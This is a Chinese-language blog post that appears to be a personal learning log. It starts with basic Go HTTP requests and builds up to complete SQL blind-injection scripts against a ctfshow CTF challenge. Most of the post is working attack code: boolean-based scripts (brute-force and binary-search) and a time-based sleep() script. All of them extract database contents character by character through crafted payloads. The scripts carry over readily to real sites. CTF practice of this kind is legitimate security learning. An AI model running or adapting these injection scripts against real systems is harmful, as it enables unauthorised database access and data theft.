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之间学习了go的语法 这里就开始go的爬虫

与其说是爬虫 其实就是网站的访问如何实现 因为之前想通过go写sql注入盲注脚本

发现不是那么简单 这里开始研究一下

首先是请求网站

这里貌似很简单

package mainimport ("fmt""net/http"
)func main() {res, err := http.Get("https://www.baidu.com/")fmt.Println(res, err)
}

&{200 OK 200 HTTP/1.1 1 1 map[Content-Type:[application/x-gzip] Date:[Thu, 14 Dec 2023 06:31:16 GMT] Server:[bfe]] 0xc0001a0020 -1 [] false true map[] 0xc000136000 0xc000118370} <nil>发现这里是一个地址

 然后就是读取源代码

package mainimport ("fmt""io""net/http""os"
)func main() {res, err := http.Get("https://www.baidu.com/")if err != nil {fmt.Println("connnect error")os.Exit(0)}body, err := io.ReadAll(res.Body)// fmt.Println(body)fmt.Println(string(body))
}

 这里再难一点

package mainimport ("fmt""io""net/http""os"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)fmt.Println(string(links))
}

通过函数 然后发送请求

package mainimport ("fmt""io""net/http""os""strings"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)// fmt.Println(string(links))if strings.Contains(string(links), "百度一下") {fmt.Println("存在")} else {fmt.Println("不存在")}
}

然后这里开始尝试写一下盲注脚本

这里开始是bool脚本 题目是ctfshow 174

golang bool注入普通脚本

package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))=%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {for j := 0; j < 127; j++ {if j >= 50 {payload1 := fmt.Sprintf(payload, i, j)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {flag += string(j)fmt.Println(flag)}}}}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}

很慢哦

二分法看看如何实现

golang bool注入二分法脚本

package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))>%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}

能发现其实其他都是差不多的 只是修改了

if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}

这一块 速度又起来了

下面想尝试一下时间注入

golang time注入二分法脚本

package mainimport ("fmt""io""net/http""net/url""os""time"
)var payload string = "1' and if((ascii(substr((select database()),%v,1))>%v),sleep(5),0)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)_, int123 := send(payload1)if check(int123) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) (string, int64) {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")start := time.Now()resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()elapsed := time.Since(start).Milliseconds()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1, elapsed
}func check(test int64) bool {if test > 5000 {return true} else {return false}
}

这里是sql注入time的二分法但是我想进行优化